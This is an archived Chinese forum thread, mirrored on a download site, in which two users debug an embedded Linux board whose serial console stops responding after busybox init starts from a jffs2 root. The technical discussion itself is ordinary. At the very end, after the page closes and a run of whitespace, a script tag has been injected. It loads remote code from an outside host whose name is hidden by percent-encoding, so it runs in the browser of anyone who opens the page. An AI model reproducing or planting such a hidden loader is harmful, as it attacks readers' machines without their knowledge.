⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 [已解决]嵌入式板子控制台丢失!(页 1) - 嵌入式系统 - linux论坛 - powered by discuz! archiver.htm

📁 S3C44B0X下的LCD (framebuffer)驱动资料与相关代码
💻 HTM
📖 第 1 页 / 共 3 页
字号:
[/quote]<BR>感觉上是全死了,正常的板子,(和我这个硬件不一样的)启动在free&nbsp;&nbsp;ini 
mem,那里就可以按回车响应了.<BR>我这个在在这后面按回车没反映,等打应信息完了就象死机一样.<BR><BR>有<B 
style="COLOR: black; BACKGROUND-COLOR: #99ff99">脚本</B>的时候就这样<BR><BR><BR>sector_size 
is 10000,blocks is25,flash size is250000<BR><BR>VFS: Mounted root (jffs2 
filesystem).<BR><BR>Freeing init memory: 316K<BR><BR>execute 
command<BR><BR>ixp400: module license 'unspecified' taints 
kernel.<BR><BR>ixp400_eth: Initializing IXP400 NPE Ethernet driver software v. 
1.4A <BR><BR>ixp400_eth: CPU clock speed (approx) = 266 MHz<BR><BR>[warning] 
Warning: the NPE A component you specified does not exist<BR><BR>[error] 
ixEthMiiPhyScan : unexpected Mii PHY ID 00008201<BR><BR>ixp400_eth: ixp0 is 
using NPEB and the PHY at address 0<BR><BR>ixp400_eth: ixp1 is using NPEC and 
the PHY at address 1<BR><BR>ixp400_eth: Use default MAC address 
00:02:b3:01:01:01 for port 0<BR><BR>ixp400_eth: Use default MAC address 
00:02:b3:02:02:02 for port 1<BR><BR>ixp400_eth: ixEthMiiLinkStatus failed on 
PHY1.<BR><BR>&nbsp; &nbsp; &nbsp; &nbsp; Can't 
determine<BR><BR>还有就是flash驱动我改过的,因为原先系统不支持那个flash,我就通过修改,可以找到分区,而且mtd结构也可以正常传给jffs2系统.然后就是这个分区是以jffs2的形式挂载为根分区.没有用ramdisk.<BR><BR>[[i] 
本帖最后由 smalloc 于 2007-6-15 14:55 编辑 [/i]]</DIV></DIV><BR>
<DIV class="simpletable smalltxt" style="WIDTH: 98%">
<DIV class="subtable altbg1"><SPAN class=right>2007-6-15 14:54</SPAN> 
<B>augustusqing</B></DIV>
<DIV class="subtable altbg2 t_msg" style="WIDTH: auto; HEIGHT: auto"><B>回复 #9 
smalloc 的帖子</B><BR><BR>[quote]原帖由 [i]smalloc[/i] 于 2007-6-15 14:24 发表于 
9楼&nbsp;&nbsp;<BR>execute command<BR><BR>run_init_process ok 
[/quote]<BR><BR>晕,你不会凭你自己添加的printk信息就说一定<B 
style="COLOR: black; BACKGROUND-COLOR: #a0ffff">执行</B>run_init_process()成功吧<BR>你的printk(KERN_ERR"execute 
command\n")是加在 <BR>[quote]if (execute_command)<BR>&nbsp; &nbsp;&nbsp; 
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 
run_init_process(execute_command);[/quote]<BR>前面,execute_command是在把initramfs扩展开成内核空间的根时赋值的,当initramfs中有/init存在才会赋为/init,才在这里以init<B 
style="COLOR: black; BACKGROUND-COLOR: #a0ffff">执行</B>,通常不会在initramfs的根目录下安排init,所以这个if通常是不会<B 
style="COLOR: black; BACKGROUND-COLOR: #a0ffff">执行</B>的<BR>而通常<B 
style="COLOR: black; BACKGROUND-COLOR: #a0ffff">执行</B>的当然是后面的run_init_process("/sbin/init"),这里面的/sbin/init就是你的/dev/mtdblock2里面的init程序了,你打印输出的“run_init_process 
ok ”是你自己输出的,又不是内核本来输出的<BR><BR>还是以前的建议,修改<B 
style="COLOR: black; BACKGROUND-COLOR: #ffff66">busybox</B>中init/init.c:init_main()函数,在此函数最开始处添加一个printf()打印语句,注意,不要添加在close(0),close(1),close(2)之后了,添加在后面,肯定输出不了,添加后重新编译,看刚才的printf()能不能输出,如果你的串口驱动正常的话,应该可以的,道理如下:<BR>[quote]<BR>if 
(sys_open((const char __user *) "/dev/console", O_RDWR, 0) &amp;lt; 0)<BR>&nbsp; 
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; printk(KERN_ERR 
"Warning: unable to open an initial console.\n";<BR>&nbsp; &nbsp;&nbsp; 
&nbsp;&nbsp;&nbsp;(void) sys_dup(0);<BR>&nbsp; &nbsp;&nbsp; 
&nbsp;&nbsp;&nbsp;(void) 
sys_dup(0);<BR>[/quote]<BR><BR>另外:你还处于调试阶段,为什么不用initrd了,那多方便</DIV></DIV><BR>
<DIV class="simpletable smalltxt" style="WIDTH: 98%">
<DIV class="subtable altbg1"><SPAN class=right>2007-6-15 14:59</SPAN> 
<B>smalloc</B></DIV>
<DIV class="subtable altbg2 t_msg" 
style="WIDTH: auto; HEIGHT: auto">run_init_process("/sbin/init")已经成功启动了,并不是靠printk判断的,在板子上"/sbin/init"是<B 
style="COLOR: black; BACKGROUND-COLOR: #ffff66">busybox</B>的一个连接,他确实启动了,而且我认为是它解析的inittab,inittab里的初试化<B 
style="COLOR: black; BACKGROUND-COLOR: #99ff99">脚本</B>也启动了,(所以我断定是run_init_process("/sbin/init")已经成功启动,并且想你说的就是“系统进去了”)</DIV></DIV><BR>
<DIV class="simpletable smalltxt" style="WIDTH: 98%">
<DIV class="subtable altbg1"><SPAN class=right>2007-6-15 15:39</SPAN> 
<B>augustusqing</B></DIV>
<DIV class="subtable altbg2 t_msg" 
style="WIDTH: auto; HEIGHT: auto">将<BR>[quote]<BR>&nbsp; &nbsp;&nbsp; 
&nbsp;&nbsp;&nbsp;run_init_process("/sbin/init");<BR>&nbsp; &nbsp;&nbsp; 
&nbsp;&nbsp;&nbsp;run_init_process("/etc/init");<BR>&nbsp; &nbsp;&nbsp; 
&nbsp;&nbsp;&nbsp;run_init_process("/bin/init");<BR>&nbsp; &nbsp;&nbsp; 
&nbsp;&nbsp;&nbsp;run_init_process("/bin/sh");<BR><BR>[/quote]<BR>改成<BR>[quote]<BR>&nbsp; 
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;run_init_process("/bin/sh");<BR>&nbsp; 
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;run_init_process("/sbin/init");<BR>&nbsp; 
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;run_init_process("/etc/init");<BR>&nbsp; 
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;run_init_process("/bin/init");<BR>&nbsp; 
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<BR>[/quote]<BR>试试</DIV></DIV><BR>
<DIV class="simpletable smalltxt" style="WIDTH: 98%">
<DIV class="subtable altbg1"><SPAN class=right>2007-6-15 15:54</SPAN> 
<B>smalloc</B></DIV>
<DIV class="subtable altbg2 t_msg" 
style="WIDTH: auto; HEIGHT: auto">都是一样的,都是指向<B 
style="COLOR: black; BACKGROUND-COLOR: #ffff66">busybox</B>的连接,我让他启动/bin/sh,也是一样的,我有个问题啊,串口的控制台到底是怎么启动的<BR><BR>发现getty 
ttyS0时候可以在<B style="COLOR: black; BACKGROUND-COLOR: #99ff99">脚本</B>里echo 
,而选着ttys1时却不行. 但是都不能输入,redboot里是可以输入的.<BR><BR>[[i] 本帖最后由 smalloc 于 2007-6-15 
17:00 编辑 [/i]]</DIV></DIV><BR>
<DIV class="simpletable smalltxt" style="WIDTH: 98%">
<DIV class="subtable altbg1"><SPAN class=right>2007-6-15 17:06</SPAN> 
<B>augustusqing</B></DIV>
<DIV class="subtable altbg2 t_msg" 
style="WIDTH: auto; HEIGHT: auto">非常感谢你好几次告诉我这些buxybox面的/sbin/init,bin/sh都是指向/bin/<B 
style="COLOR: black; BACKGROUND-COLOR: #ffff66">busybox</B>的连接,不过我好晕,呵呵!<BR>为什么要采取连接的方式了?我不清楚,但我知道,<B 
style="COLOR: black; BACKGROUND-COLOR: #a0ffff">执行</B>/sbin/init后,<B 
style="COLOR: black; BACKGROUND-COLOR: #ffff66">busybox</B>会调用实现init程序的那部分源码,<B 
style="COLOR: black; BACKGROUND-COLOR: #a0ffff">执行</B>/bin/sh时,<B 
style="COLOR: black; BACKGROUND-COLOR: #ffff66">busybox</B>就会<B 
style="COLOR: black; BACKGROUND-COLOR: #a0ffff">执行</B>sh的那部分,/bin/<B 
style="COLOR: black; BACKGROUND-COLOR: #ffff66">busybox</B>程序就相当于一个总管,根据连接到自己的文件的文件名调用相应的程序,让我想起gcc<BR><BR>你尝试了我上面的方法吗?也是一样的?再把全部过程信息贴出来<BR><BR>关于怎么启动串口的控制台,在内核空间的,那就是printk的实现原理,用户空间里的,你仔细学习一下<B 
style="COLOR: black; BACKGROUND-COLOR: #ffff66">busybox</B>源码中init部分的代码,就是我一直建议你跟踪的init_main()函数(不过好像你学过,那我就搞不懂了)<BR><BR>如跟踪init_main()得不到有效解决,那就是你串口驱动本身的问题了</DIV></DIV><BR>
<DIV class="simpletable smalltxt" style="WIDTH: 98%">
<DIV class="subtable altbg1"><SPAN class=right>2007-6-15 17:22</SPAN> 
<B>smalloc</B></DIV>
<DIV class="subtable altbg2 t_msg" 
style="WIDTH: auto; HEIGHT: auto">谢谢,那我先试试,这个问题搞了好久了,开始还以为是flash驱动的问题.<BR><BR>还是不行,居然和/sbin/init效果一样:(,可以回显echo,但是<B 
style="COLOR: black; BACKGROUND-COLOR: #ffff66">busybox</B>开始时却不能printf.<BR><BR>[[i] 
本帖最后由 smalloc 于 2007-6-15 17:52 编辑 [/i]]</DIV></DIV><BR>
<DIV class="simpletable smalltxt" style="WIDTH: 98%">
<DIV class="subtable altbg1"><SPAN class=right>2007-6-15 18:04</SPAN> 
<B>augustusqing</B></DIV>
<DIV class="subtable altbg2 t_msg" style="WIDTH: auto; HEIGHT: auto">[quote]原帖由 
[i]smalloc[/i] 于 2007-6-15 17:22 发表于 
17楼&nbsp;&nbsp;<BR>谢谢,那我先试试,这个问题搞了好久了,开始还以为是flash驱动的问题.<BR><BR>还是不行,居然和/sbin/init效果一样:(,可以回显echo,但是<B 
style="COLOR: black; BACKGROUND-COLOR: #ffff66">busybox</B>开始时却不能printf. 
[/quote]<BR><BR>你说的可以回显echo,是什么意思,如何回显的?在哪里回显的?<BR><BR>首先<B 
style="COLOR: black; BACKGROUND-COLOR: #a0ffff">执行</B>run_init_process("/sbin/init"),不能在init最开始处printf()输出是不太可能的阿<BR>因为如果真的run_init_process("/sbin/init") 
OK,就肯定能在init开始处printf(),因为此时用的还是继承过来的内核空间里打开的0,1,2文件描述符阿</DIV></DIV><BR>
<DIV class="simpletable smalltxt" style="WIDTH: 98%">
<DIV class="subtable altbg1"><SPAN class=right>2007-6-15 18:32</SPAN> 
<B>smalloc</B></DIV>
<DIV class="subtable altbg2 t_msg" style="WIDTH: auto; HEIGHT: auto">[quote]原帖由 
[i]augustusqing[/i] 于 2007-6-15 18:04 发表于 
18楼&nbsp;&nbsp;<BR><BR><BR>你说的可以回显echo,是什么意思,如何回显的?在哪里回显的?<BR><BR>首先<B 
style="COLOR: black; BACKGROUND-COLOR: #a0ffff">执行</B>run_init_process("/sbin/init"),不能在init最开始处printf()输出是不太可能的阿<BR>因为如果真的run_init_process(" 
... [/quote]<BR>事实是这样的啊,echo是在初始<B 
style="COLOR: black; BACKGROUND-COLOR: #99ff99">脚本</B>里运行打印字符.<BR>init最开始处printf()确实是打印的字符看不到.真的不明白哪里出问题了.<BR>再问一下initrd是怎么回事?<BR>问一下你在<B 
style="COLOR: black; BACKGROUND-COLOR: #ffff66">busybox</B>一开始可以printf出来吗?<BR><BR>[[i] 
本帖最后由 smalloc 于 2007-6-15 19:04 编辑 [/i]]</DIV></DIV><BR>
<DIV class="simpletable smalltxt" style="WIDTH: 98%">
<DIV class="subtable altbg1"><SPAN class=right>2007-6-15 22:48</SPAN> 
<B>augustusqing</B></DIV>
<DIV class="subtable altbg2 t_msg" style="WIDTH: auto; HEIGHT: auto"><B>回复 #19 
smalloc 的帖子</B><BR><BR>[quote]事实是这样的啊,echo是在初始<B 
style="COLOR: black; BACKGROUND-COLOR: #99ff99">脚本</B>里运行打印字符.[/quote]<BR>你上面不是说/etc/rc.d/rc$里面的echo出不来吗?怎么又能出来了?<BR>[quote]第一行rdS 
start都显示不出来.但是一些信息估计是加载模块里面的printk出来的.<BR>[/quote]<BR>请把你echo出来的信息贴出来<BR><BR>我做过实验,在<B 
style="COLOR: black; BACKGROUND-COLOR: #ffff66">busybox</B>的init开始处可以printf()出来的<BR><BR>initrd,简短的说,是把做文件系统的ramdisk映像直接放内存里,而你是把它烧入flash分区,对于这里的问题,是一样的,只是麻烦一些罢了</DIV></DIV><BR><B>页: 
</B><B>[1]</B> <A 
href="http://linux.chinaunix.net/bbs/archiver/tid-900854-page-2.html">2</A> <BR>
<DIV style="WIDTH: 98%">
<DIV class="subtable bold"><FONT color=#000000>查看完整版本: </FONT><A 
style="COLOR: #000000" 
href="http://linux.chinaunix.net/bbs/viewthread.php?tid=900854" 
target=_blank>[已解决]嵌入式板子控制台丢失!</A></DIV></DIV><BR><BR><SPAN 
style="FONT: 11px Tahoma, Arial; COLOR: #000000">Powered by <A 
style="COLOR: #000000" href="http://www.discuz.net/" target=_blank><B>Discuz! 
Archiver</B></A> <B style="COLOR: #ff9900">5.0.0</B></A>&nbsp; &copy; 2001-2006 <A 
style="COLOR: #000000" href="http://www.comsenz.com/" target=_blank>Comsenz 
Inc.</A></SPAN>
<DIV class=footer></DIV></CENTER></DIV></BODY></HTML>
                                                                                              
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -